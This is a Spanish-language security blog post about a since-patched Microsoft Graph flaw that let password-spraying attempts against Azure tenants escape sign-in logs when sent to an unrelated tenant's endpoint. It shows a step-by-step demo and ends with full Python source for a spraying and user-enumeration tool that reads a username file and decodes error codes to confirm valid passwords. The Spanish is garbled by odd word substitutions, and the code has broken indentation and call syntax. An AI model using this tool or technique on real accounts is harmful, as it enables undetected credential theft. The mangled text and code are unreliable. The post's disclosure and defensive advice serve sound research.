Desde junio de 2023 hasta marzo de 2024, Microsoft Graph fue desvalido a una omisión de registro que permitía a los atacantes realizar ataques de pulverización de contraseñas sin ser detectados. Durante este período, cualquier ordenamiento en Azure podría ocurrir sido atacada y no habría tenido indicios de la actividad. Si aceptablemente este problema se identificó en 2023, el momento exacto de su aparición aún no está claro.
La posibilidad fue sencilla: al cambiar el punto final de autenticación de Microsoft Graph al de un inquilino no relacionado, los intentos de inicio de sesión no aparecían en los registros de la víctima. Sin bloqueo, los mensajes de error detallados aún revelarían la validez de los nombres principales de becario (UPN) y las contraseñas.
Para ser justos, si aceptablemente esta vulnerabilidad permitió a los atacantes identificar silenciosamente credenciales válidas, seguirían necesitando utilizar métodos de inicio de sesión tradicionales que aparecerían en los registros.
Microsoft no emitió un CVE para esta vulnerabilidad, considerándola un “problema de pesadez devaluación”. Internamente se le asignó VULN-107279 y el ticket asociado se cerró oficialmente el 11 de marzo de 2024.
Descripción común
Microsoft Graph proporciona diferentes puntos de conexión para autenticarse, dependiendo de si su aplicación es una aplicación de inquilino único o de múltiples inquilinos. Los inicios de sesión normales de Graph se dirigen al punto final “popular” utilizado por las aplicaciones multiinquilino. Este punto final “popular” se encarga de determinar a qué inquilino expedir la autenticación.A Al cambiar el punto final de un intento de autenticación de Microsoft Graph de “popular” a cualquier ID de inquilino encima del de la ordenamiento que estaba rociando, podría sortear el registro con rociadores de contraseñas.
En ocasión de autenticarse contra el punto final “popular” ordinario:
 https://login.microsoftonline.com/common/oauth2/token
lo cambias a esto:
https://login.microsoftonline.com/{tenant}/oauth2/token
 Donde {inquilino} es cualquier ID de inquilino que no esté relacionado con la ordenamiento donde está realizando la pulverización de contraseña.
¡Eso es todo! La enumeración de usuarios y la indicación de inicio de sesión funcionaron aceptablemente de esta guisa. El inicio de sesión efectivo no fue exitoso, ya que se estaba autenticando en presencia de otro inquilino, pero la respuesta aún indicaba si era una contraseña válida o no válida. La única diferencia en la respuesta Graph es que una contraseña válida se indicaría con un código de error AADSTS700016 en ocasión de las respuestas tradicionales AADSTS50126 o AADSTS50079.
Al especificar el ID del inquilino extranjero, este intento de inicio de sesión no aparecería en los registros de inicio de sesión de la víctima. Si utilizó el ID de inquilino efectivo de la ordenamiento de destino, los inicios de sesión SE mostrarían (ya que está autenticándose directamente con su inquilino efectivo). Siempre que el {inquilino} utilizado fuera cualquier ID de inquilino desigual de su ordenamiento de destino, NO aparecerá en los registros de inicio de sesión.
Prueba de concepto o GTFO
Para esta demostración, usaré dos scripts: Graph_logon.py (Inicio de sesión de croquis ordinario), y Graphninja.py (Método secreto y silencioso que no se mostrará en los registros). El código fuente se puede encontrar aquí o al final de este blog.
Recuerde: ESTE PROBLEMA SE HA SOLUCIONADO Y YA NO FUNCIONA.
1. Primero, un intento de inicio de sesión utilizando el inicio de sesión croquis ordinario (gráfico_logon.py) se intentó el método el 15 de agosto de 2023 a las 01:38:40 UTC. Podemos ver que identificó un nombre de becario válido a través del código de respuesta.
2. Al revisar nuestros registros, podemos ver que se identificó un intento fallido de inicio de sesión para un becario válido. El registro muestra la marca de tiempo tópico del 15 de agosto de 2023 a las 8:38:41, que coincide con nuestra marca de tiempo UTC Graph_logon.py.
3. A continuación, realizaremos otro intento de inicio de sesión, pero utilizando el ninja croquis método. Para viejo claridad, este intento se realizó desde un host diferente con una IP externa diferente, por lo que no habrá doble sentido en ningún registro si este intento apareciera. (Todavía realicé un intento de nombre de becario no válido solo para demostrar que es posible diferenciar usuarios válidos e inválidos, como en todos los intentos de inicio de sesión de Graph).
4. Si revisamos nuestros registros nuevamente, vemos que no hay ningún nuevo intento fallido de inicio de sesión desde el intento susodicho con el tipificado Graph_logon.py. Nuestro ninja croquis El intento no ha aparecido.
5. Se intentaron dos inicios de sesión más con Graph_logon.py. Tenga en cuenta que la vencimiento de este registro es DESPUÉS de la vencimiento de nuestro Graphninja.py intento (15 de agosto de 2023 a las 01:45:52 y 01:48:04 UTC).
6. Al revisar los registros nuevamente no se muestran intentos fallidos de inicio de sesión durante el uso ninja croquis del otro hospedador. Puede ver registros adicionales que ingresan, pero no se registran fallas a través de nuestro ninja croquis método.
7 Usar ninja croquis con un nombre de becario válido y una contraseña válida muestra que es posible corroborar credenciales válidas con este método. Regalado que nos estamos autenticando en el punto final de otro inquilino, la autenticación no se puede completar correctamente, pero los códigos de error detallados aún indican que la contraseña es válida.
8. Comprobando registros nuevamente. Todavía no hay señales de ningún intento de inicio de sesión (válido o no válido) por parte de ninja croquis.
9. Finalmente, realizaremos otro tipificado. gráfico_logon prueba para validar que los registros todavía están fluyendo.
10 A La demostración de los registros muestra la última autenticación fallida de graph_logon.py. Podemos ver que todos los registros están fluyendo, con varios intentos de inicio de sesión con minutos de diferencia que aparecen desde gráfico_logon (autenticación de croquis tipificado) pero aún no se mostraron intentos de ninja croquis con el punto final posible establecido.
Historial y cómo funciona
¿Por qué funciona esto? No estoy 100% seguro, pero esto es lo que creo que estaba sucediendo:
- Entra ID solo registra los intentos fallidos y exitosos para usuarios VÁLIDOS.
- Para los intentos de autenticación en el punto final “popular”, estos se reenvían al registro de una cuenta o quizás cada inquilino consulta periódicamente desde el registro popular. En cualquier caso, esto parece fundarse en el nombre de dominio en la UPN.
- Para los intentos de autenticación de un inquilino en particular, estos reenviarían o iniciarían sesión directamente en el registro de la cuenta del inquilino de destino.
- Para los intentos de autenticación de un inquilino en particular donde su becario no existe, intentar iniciar sesión con un nombre de becario foráneo ((correo electrónico protegido) del inquilino de Acme Computer Company que se autentica en el inquilino de TrustedSec) no sería un becario válido en el inquilino de destino, y por lo que el intento no se registrará.
- Correcto a los códigos de error detallados de Graph (los mismos que hacen posible la enumeración de usuarios), es posible ver si el nombre de becario es válido o no válido, y incluso si la contraseña es válida o no válida.
Por lo tanto, esta omisión de registro se realiza mediante la autenticación en un punto final oauth2 de inquilino individual frente al punto final “popular”. Creo que la razón por la que esto no aparece en los registros es porque el visor de registros solo muestra inicios de sesión fallidos para cuentas VÁLIDAS DESDE puntos finales comunes y su propio inquilino.
Descubrí este bypass mientras revisaba un tesina antiguo para la enumeración de invitados en el que había estado trabajando en 2021. No conocía el trabajo del Dr. AzureAD sobre la enumeración de invitados en ese momento y había estado probando diferentes métodos potenciales de enumeración de invitados. vía Expresivo.
En mis scripts de prueba para los intentos de enumeración, cambié el ID del inquilino al de la ordenamiento “anfitriona”. Fue mientras revisaba estos scripts y los probaba nuevamente con resultados detallados (muchas declaraciones impresas) que me di cuenta de que estos intentos de autenticación entre inquilinos no se estaban registrando. Entonces, a menos que Microsoft haya cambiado poco drásticamente con esto en los últimos abriles, parecía que me había topado accidentalmente con esto en 2021, pero no me di cuenta en ese momento. Es muy probable que haya existido desde los albores de Azure. Es tan simple que me sorprendería que no se usara en la naturaleza.
Reflexiones
Esto es poco que afectó directamente a todas las organizaciones de Azure. Estar ciego en presencia de un ataque significa que no puedes reaccionar. La enumeración de usuarios, especialmente la enumeración de usuarios invisibles, es mala. La pulverización de contraseñas, especialmente la pulverización invisible de contraseñas, es mucho peor.
Ahora aceptablemente, tenga en cuenta que Smart Lockout seguía siendo un control compensador; sin bloqueo, al variar las direcciones IP de origen con regularidad, sería posible evitar esto y determinar si el conjunto de credenciales es válido. Una vez conocido, el atacante podría intentar iniciar sesión normalmente desde una ubicación más llano.
No estoy seguro de si esto en realidad se usó en la naturaleza; sin bloqueo, con su sencillez, me sorprendería ser el único en descubrirlo. El hecho de que poco como esto pudiera ocurrir existido durante algún tiempo puede ayudar a resolver algunas intrusiones misteriosas en las que se desconocía el origen de una credencial robada.
El Centro de respuesta de seguridad de Microsoft calificó esto como un problema de pesadez “devaluación”. Al momento de escribir esto, no he conocido ninguna mención del tema publicada en ningún ocasión de su sitio. Parece que no van a decirles a sus clientes que han estado ciegos en presencia de los ataques a contraseñas durante mucho tiempo. ¿Se debe advertir a los clientes sobre la existencia de estas vulnerabilidades ahora parcheadas?
MSRC recibe muchas críticas. Tienen buena parentela, pero tal vez insuficiente influencia para influir en los desarrolladores o personal insuficiente. En cualquier caso, creo que el maniquí coetáneo de echarse en brazos en la buena voluntad de los piratas informáticos es insuficiente cuando se tráfico de la seguridad de un gran proveedor de nubarrón. Si fuera un sombrero sombrío, no estoy seguro de ocurrir renunciado a esta yema por cualquier cantidad de retribución tipificado. En el caso de hallazgos en realidad jugosos, simplemente no se puede echarse en brazos en las recompensas.
Utilice MFA. Utilice camino condicional. Utilice formatos de nombre de becario difíciles de enumerar. Separe las direcciones de correo electrónico de las UPN. Lo más importante es pedirle a Microsoft que se tome en serio la enumeración de usuarios, ya que está entrelazada con la raíz de este problema.
Código fuente:
#!/usr/bin/env python3
#
# GRAPH NINJA
#
# Logless password spraying
#
# THREAT LEVEL: MIDNIGHT
#
# 2023.06.26 @nyxgeek â TrustedSec
# Originally discovered but not realized October 2021
#
# Shoutout to o365enum where I snarfed some of this from https://github.com/gremwell/o365enum/
import requests
import argparse
# Define command-line arguments
parser = argparse.ArgumentParser(description='Log into Microsoft Graph.')
parser.add_argument("-u", "--username", help="user to target", metavar='')
parser.add_argument("-U", "--userfile", help="file containing usernames in email format", metavar='')
parser.add_argument("-p", "--password", help='Password for the Microsoft account.')
args = parser.parse_args()
def login(username, password):
headers = {
"User-Agent": "Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro",
"Accept": "application/json",
}
body = {
"resource": "https://graph.windows.net",
"client_id": "72f988bf-86f1-41af-91ab-2d7cd011db42",
"client_info": '1',
"grant_type": "password",
"username": username,
"password": password,
"scope": "openid"
}
codes = {
0: ('AADSTS50034'), # INVALID
1: ('AADSTS50126'), # VALID
3: ('AADSTS50079', 'AADSTS50076'), # MSMFA
4: ('AADSTS50158'), # OTHER MFA
5: ('AADSTS50053'), # LOCKED
6: ('AADSTS50057'), # DISABLED
7: ('AADSTS50055'), # EXPIRED
8: ('AADSTS50128', 'AADSTS50059'), # INVALID TENANT
9: ('AADSTS700016') # VALID USER/PASS
}
state = -1
#this is contoso tenant ID
response = requests.post("https://login.microsoftonline.com/6babcaad-604b-40ac-a9d7-9fd97c0b779f/oauth2/token", headers=headers, data=body)
# States
# 0 = invalid user
# 1 = valid user
# 2 = valid user/pass
# 3 = MS MFA response
# 4 = third-party MFA?
# 5 = locked out
# 6 = acc disabled
# 7 = pwd expired
# 8 = invalid tenant response
# 9 = valid user/pass
if response.status_code == 200:
state = 2
else:
respErr = response.json()('error_description')
for k, v in codes.items():
if any(e in respErr for e in v):
state = k
break
if state == -1:
#logging.info(f"UNKERR: {respErr}")
print(f"UNKERR: {respErr}")
#print(response.cookies.get_dict())
return state
if args.username:
# Call the login function
status = login(args.username, args.password)
if status == 9:
english_status = "VALID ACCOUNT CREDS"
elif status == 1:
english_status = "VALID USERNAME"
elif status == 5:
english_status = "LOCKED / SMART LOCKOUT"
elif status == 6:
english_status = "DISABLED"
elif status == 7:
english_status = "EXPIRED - UPDATE PASSWORD"
else:
english_status = "INVALID"
#single user lookup
print(f'{args.username}:{args.password} - Status: {english_status}')
if args.userfile:
# Read the file with the usernames
with open(args.userfile, 'r') as f:
usernames = f.read().splitlines()
# Call the login function for each username
for username in usernames:
status = login(username, args.password)
if status == 9:
english_status = "VALID ACCOUNT CREDS"
elif status == 1:
english_status = "VALID USERNAME"
elif status == 5:
english_status = "LOCKED / SMART LOCKOUT"
elif status == 6:
english_status = "DISABLED"
elif status == 7:
english_status = "EXPIRED - UPDATE PASSWORD"
else:
english_status = "INVALID"
print(f'{username}:{args.password} - Status: {english_status}')